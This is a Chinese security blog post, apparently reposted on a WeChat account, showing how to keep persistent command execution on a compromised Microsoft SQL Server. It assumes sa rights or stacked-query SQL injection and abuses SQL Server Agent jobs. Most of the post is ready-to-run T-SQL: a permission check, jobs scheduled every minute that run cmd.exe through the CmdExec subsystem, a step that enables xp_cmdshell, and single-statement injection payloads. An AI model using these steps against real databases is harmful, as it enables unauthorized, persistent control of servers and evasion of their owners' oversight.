查看原文
其他

利用sqlserver agent job实现权限维持

听风安全 2023-11-28

The following article is from Evilc0de 安全团队 Author Evilc0de

免责声明
由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

公众号现在只对常读和星标的公众号才展示大图推送,

建议大家把听风安全设为星标,否则可能就看不到啦!

----------------------------------------------------------------------

使用场景:当我们在测试中拿到目标数据库sa权限的或者dba权限的时候需要进行权限维持;SQL注入点存在堆叠查询也可同样进行。

必要条件:数据库msdb,架构dboEXECUTE权限。

一、检查是否有权限

SELECT HAS_PERMS_BY_NAME('msdb.dbo.sp_add_job''OBJECT''EXECUTE'as TRUE;


如果TRUE返回为1则代表有权限可以进行下一步操作,如果为0则代表无权限无法进行后续的权限维持操作。

二、创建JOB任务

分为两种,一种是周期性自动运行,另一种是手动运行。先讲第一种

计划任务自动运行

1、创建JOB名称

EXEC msdb.dbo.sp_add_job @job_name=N'MyJob';

2、创建计划任务(每一分钟执行一次)

EXEC msdb.dbo.sp_add_schedule @schedule_name=N'MySchedule',@freq_type=4,@freq_interval=1,@active_start_time=0,@active_end_time=235959,@freq_subday_type=4,@freq_subday_interval=1;

3、创建JOB执行内容

EXEC msdb.dbo.sp_add_jobstep @step_id=1,@job_name=N'MyJob',@step_name=N'MyStep',@subsystem=N'CmdExec',@command=N'cmd.exe /c whoami>C:\\programdata\\1.txt',@on_success_action=3,@retry_attempts=1,@retry_interval=5;

4、将JOB和计划任务绑定

EXEC msdb.dbo.sp_attach_schedule @job_name=N'MyJob',@schedule_name=N'MySchedule';

4、新增JOB到jobserver

EXEC msdb.dbo.sp_add_jobserver @job_name=N'MyJob';

执行完上述命令后,就可以在sqlserver management里看到我们创建的计划任务。

等过一分钟之后,就可以看到我们执行的命令成功运行。

手动运行

手动运行很简单,只需要将计划任务步骤的1、3、4拷贝过来最后再加上手动启动的命令即可:

EXEC msdb.dbo.sp_start_job @job_name=N'MyJob';


Tip: 若要一个JOB执行多条命令可以可以多创建几条JOB执行内容,需要注意的是@step_id和@step_name不可以重复,例如:

EXEC msdb.dbo.sp_add_jobstep @step_id=2,@job_name=N'MyJob',@step_name=N'MyStep1',@subsystem=N'CmdExec',@command=N'cmd.exe /c whoami>C:\\programdata\\2.txt',@on_success_action=3,@retry_attempts=1,@retry_interval=5;

探讨

其中重点讲一下@subsystem::
@subsystem:指定作业步骤的子系统类型(Subsystem Type)子系统定义了作业步骤的类型,例如 T-SQL 脚本、操作系统命令、PowerShell 脚本等。

可用的子系统类型主要包括以下三种:

'TSQL':T-SQL脚本
'CmdExec':操作系统命令
'PowerShell':PowerShell脚本

文章里我们用CmdExec操作系统命令做演示,如要用TSQL或者PowerShell也可以达到同等效果,

例如:TSQL开启xp_cmdshell并执行命令

EXEC msdb.dbo.sp_add_jobstep @step_id=4,@job_name=N'MyJob', @step_name=N'MyStep4',@subsystem =N'TSQL',@command=N'exec sp_configure ''show advanced options''1; reconfigure; exec sp_configure ''xp_cmdshell'', 1; reconfigure; exec master.dbo.xp_cmdshell ''whoami > C:\\programdata\\1.txt''',@on_success_action=3,@retry_attempts=1,@retry_interval=5;

PowerShell同理

进程调用链:

sqlagent.exe -i mssqlserver
-> cmd.exe
-> whoami.exe

一条sql语句实现

单次运行

EXEC msdb.dbo.sp_add_job @job_name=N'MyJob';EXEC msdb.dbo.sp_add_jobstep @step_id=1,@job_name=N'MyJob',@step_name=N'MyStep',@subsystem=N'CmdExec',@command=N'cmd.exe /c whoami>C:\\programdata\\1.txt',@on_success_action=3,@retry_attempts=1,@retry_interval=5;EXEC msdb.dbo.sp_add_jobserver @job_name=N'MyJob';EXEC msdb.dbo.sp_start_job @job_name=N'MyJob';

定时任务运行

EXEC msdb.dbo.sp_add_job @job_name=N'MyJob';EXEC msdb.dbo.sp_add_schedule @schedule_name=N'MySchedule',@freq_type=4,@freq_interval=1,@active_start_time=0,@active_end_time=235959,@freq_subday_type=4,@freq_subday_interval=1;EXEC msdb.dbo.sp_add_jobstep @step_id=1,@job_name=N'MyJob',@step_name=N'MyStep',@subsystem=N'CmdExec',@command=N'cmd.exe /c whoami>C:\\programdata\\1.txt',@on_success_action=3,@retry_attempts=1,@retry_interval=5;EXEC msdb.dbo.sp_attach_schedule @job_name=N'MyJob',@schedule_name=N'MySchedule';EXEC msdb.dbo.sp_add_jobserver @job_name=N'MyJob'

Reference:

1、https://blog.51cto.com/u_15338523/3592578

2、https://blog.csdn.net/sinat_16998945/article/details/52586687

不可错过的往期推荐哦


NPS反制之绕过登陆验证

区分Spring与Struts2框架的几种新方法

SRC挖掘葵花宝典

记一次“不讲武德”的短信验证码绕过

SRC漏洞挖掘之看不见的羊毛

供应链投毒事件调查:一个免杀爱好者沦为“肉鸡”的全过程!

【蓝队篇】Weblogic反序列化攻击不依赖日志溯源攻击时间

从钓鱼邮件溯源到反制上线

记一次渗透中的Password加密爆破过程

达梦数据库手工注入笔记

点击下方名片,关注我们

觉得内容不错,就点下“”和“在看

如果不想错过新的内容推送可以设为星标
继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存